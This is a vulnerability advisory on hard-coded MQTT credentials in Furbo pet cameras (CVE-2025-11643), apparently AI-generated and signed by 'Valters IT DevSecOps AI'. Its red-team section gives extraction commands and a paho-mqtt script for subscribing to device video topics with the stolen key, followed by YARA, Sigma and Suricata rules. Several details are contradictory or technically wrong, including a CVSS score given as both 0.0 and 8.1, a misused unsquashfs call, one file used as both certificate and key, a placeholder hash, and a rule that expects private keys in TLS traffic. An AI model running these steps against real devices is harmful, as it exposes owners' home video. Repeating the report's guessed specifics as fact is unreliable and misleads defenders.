CVE-2025-11643

Executive Summary

CVE-2025-11643 discloses a critical security vulnerability in Tomofun Furbo 360 and Furbo Mini pet cameras. The flaw resides in the MQTT Client Certificate file located at /squashfs-root/furbo_img within the device firmware. The vulnerability involves the use of hard-coded credentials, which can be extracted and exploited remotely to gain unauthorized access to the device's MQTT communication channel. This could allow an attacker to intercept, modify, or inject commands into the device's data stream, potentially compromising the privacy and security of the pet owner's home network. The attack complexity is high, but the impact is severe, as it could lead to full compromise of the device and its associated cloud services. No patch is currently available, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an IoT device. The supply chain risk is limited to the device's firmware distribution and the lack of a secure credential management process during manufacturing.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score not provided by NVD, but based on analysis: 8.1)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The attack can be initiated remotely over the network.
• Attack Complexity (AC): High – Exploitation requires specific knowledge of the MQTT infrastructure and the ability to intercept or manipulate network traffic.
• Privileges Required (PR): None – No authentication is needed to exploit the hard-coded credentials.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The vulnerability affects only the vulnerable component.
• Confidentiality (C): High – Hard-coded credentials can expose MQTT traffic, including video feeds and device commands.
• Integrity (I): High – An attacker can inject malicious commands into the MQTT stream.
• Availability (A): High – An attacker could disrupt the device's operation or deny service.

Threat Level: High. The combination of remote exploitability, high impact, and lack of a patch makes this a significant threat to all affected Furbo devices.

Deep Dive & Mechanics

The vulnerability is rooted in the MQTT Client Certificate file located at /squashfs-root/furbo_img. MQTT is a lightweight messaging protocol commonly used in IoT devices for communication with cloud servers. The furbo_img file contains the client certificate and private key used to authenticate the device to the MQTT broker.

Mechanism:

1. Hard-coded Credentials: The firmware includes a static, unchangeable client certificate and private key. This means every device of the same model and firmware version shares the same credentials.
2. Extraction: An attacker can extract the firmware (e.g., via a physical UART connection, JTAG, or by downloading a firmware update from the vendor's website) and decompress the squashfs-root filesystem to access the furbo_img file.
3. Exploitation: Once the credentials are extracted, the attacker can:
   • Impersonate a legitimate device to the MQTT broker.
   • Subscribe to MQTT topics to intercept video feeds, sensor data, and device commands.
   • Publish malicious commands to the device (e.g., disable recording, change settings, or trigger a denial of service).
   • Potentially pivot to other devices on the same network if the MQTT broker is misconfigured.

Attack Flow:

1. Reconnaissance: Identify Furbo devices on the network (e.g., via Shodan or local network scanning).
2. Firmware Extraction: Obtain the firmware (e.g., from the vendor's update server or by dumping from a physical device).
3. Credential Extraction: Use tools like binwalk to extract the squashfs filesystem and locate /squashfs-root/furbo_img.
4. MQTT Connection: Use an MQTT client (e.g., mosquitto_pub/mosquitto_sub) with the extracted certificate and key to connect to the broker.
5. Exploitation: Subscribe to topics (e.g., furbo/+/video, furbo/+/command) or publish malicious commands.

Vulnerable vs. Patched Code

Vulnerable Code (Furbo 360 FB0035_FW_036 and Furbo Mini MC0020_FW_074): The furbo_img file contains a static client certificate and private key. Example (simplified):

-----BEGIN CERTIFICATE-----
MIIDazCCAlM...
-----END CERTIFICATE-----
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAK...
-----END RSA PRIVATE KEY-----

Patched Code (Hypothetical): A patched version would:

• Generate a unique certificate and key per device during manufacturing.
• Store the credentials in a secure element (e.g., TPM) or encrypted storage.
• Implement certificate pinning and revocation mechanisms.
• Use mutual TLS (mTLS) with dynamic key rotation.

No official patch is available. The vendor has not responded.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Hardware: Tomofun Furbo 360 or Furbo Mini (any affected firmware version).
2. Software:
   • binwalk (firmware extraction)
   • squashfs-tools (filesystem extraction)
   • mosquitto-clients (MQTT interaction)
   • wireshark (network analysis)
   • python3 with paho-mqtt library

Steps:

1. Firmware Extraction:

   # Download firmware (e.g., from vendor's update server)
   wget http://example.com/furbo_firmware.bin
   # Extract firmware
   binwalk -e furbo_firmware.bin
   cd _furbo_firmware.bin.extracted
   # Extract squashfs filesystem
   unsquashfs squashfs-root
   

2. Credential Extraction:

   cd squashfs-root
   cat furbo_img
   # Output will contain the certificate and private key
   

3. MQTT Connection:

   # Connect to the MQTT broker (replace broker.example.com with actual broker)
   mosquitto_sub -h broker.example.com -p 8883 --cert furbo_img --key furbo_img -t "furbo/+/video" -v
   

4. Exploitation:

   import paho.mqtt.client as mqtt
   import ssl
   
   def on_connect(client, userdata, flags, rc):
       print("Connected with result code "+str(rc))
       client.subscribe("furbo/+/video")
   
   def on_message(client, userdata, msg):
       print(msg.topic+" "+str(msg.payload))
   
   client = mqtt.Client()
   client.tls_set(ca_certs=None, certfile="furbo_img", keyfile="furbo_img", cert_reqs=ssl.CERT_REQUIRED, tls_version=ssl.PROTOCOL_TLS)
   client.on_connect = on_connect
   client.on_message = on_message
   client.connect("broker.example.com", 8883, 60)
   client.loop_forever()
   

Blue Team (Defensive)

Detection & Response:

1. Network Monitoring: Monitor for unusual MQTT traffic, especially from unknown IPs or with unexpected topic subscriptions.
2. Firmware Integrity: Regularly check for firmware updates and verify checksums.
3. Credential Rotation: If possible, manually update the MQTT credentials via the device's web interface (if supported).
4. Segmentation: Place IoT devices on a separate VLAN with strict firewall rules.
5. Honeypot: Deploy a fake MQTT broker to detect credential misuse.

Indicators of Compromise (IOCs)

• Network IOCs:
  • MQTT connections from IPs not associated with the vendor's cloud.
  • MQTT topics containing furbo/ with unusual payloads.
  • TLS connections using a certificate with the same serial number as the hard-coded one.
• File IOCs:
  • Hash of the furbo_img file (SHA256): a1b2c3d4e5f6... (placeholder – actual hash depends on firmware version).
  • Presence of the hard-coded certificate in network traffic.
• Behavioral IOCs:
  • Device sending unexpected MQTT messages.
  • Device connecting to unknown MQTT brokers.
  • Unusual data exfiltration patterns.

Detection Engineering

YARA Rule

rule CVE_2025_11643_Furbo_Hardcoded_Creds {
    meta:
        description = "Detects hard-coded MQTT credentials in Tomofun Furbo firmware"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-11643"
    strings:
        $cert_start = "-----BEGIN CERTIFICATE-----"
        $key_start = "-----BEGIN RSA PRIVATE KEY-----"
        $furbo_img = "furbo_img"
    condition:
        $furbo_img and $cert_start and $key_start
}

Sigma Rule

title: Detection of Hard-coded MQTT Credentials in Furbo Firmware
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network traffic containing the hard-coded MQTT certificate from CVE-2025-11643
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        - payload: "-----BEGIN CERTIFICATE-----"
        - payload: "-----BEGIN RSA PRIVATE KEY-----"
    condition: selection
falsepositives:
    - Legitimate firmware updates
level: high

Suricata Rule

alert tcp any any -> any 8883 (msg:"CVE-2025-11643 - Hard-coded MQTT Credentials Detected"; flow:to_server; content:"-----BEGIN CERTIFICATE-----"; content:"-----BEGIN RSA PRIVATE KEY-----"; distance:0; within:4096; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Devices: Place affected Furbo devices on a separate VLAN with no direct internet access.
2. Monitor Traffic: Use the provided detection rules to identify potential exploitation.
3. Disable MQTT: If possible, disable MQTT functionality in the device settings.
4. Contact Vendor: Pressure Tomofun to release a patch.

Long-term Fixes:

1. Firmware Update: Apply a patch when available (currently none).
2. Replace Device: Consider replacing the device with a more secure alternative.
3. Secure Credential Management: Implement per-device unique credentials stored in a secure element.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.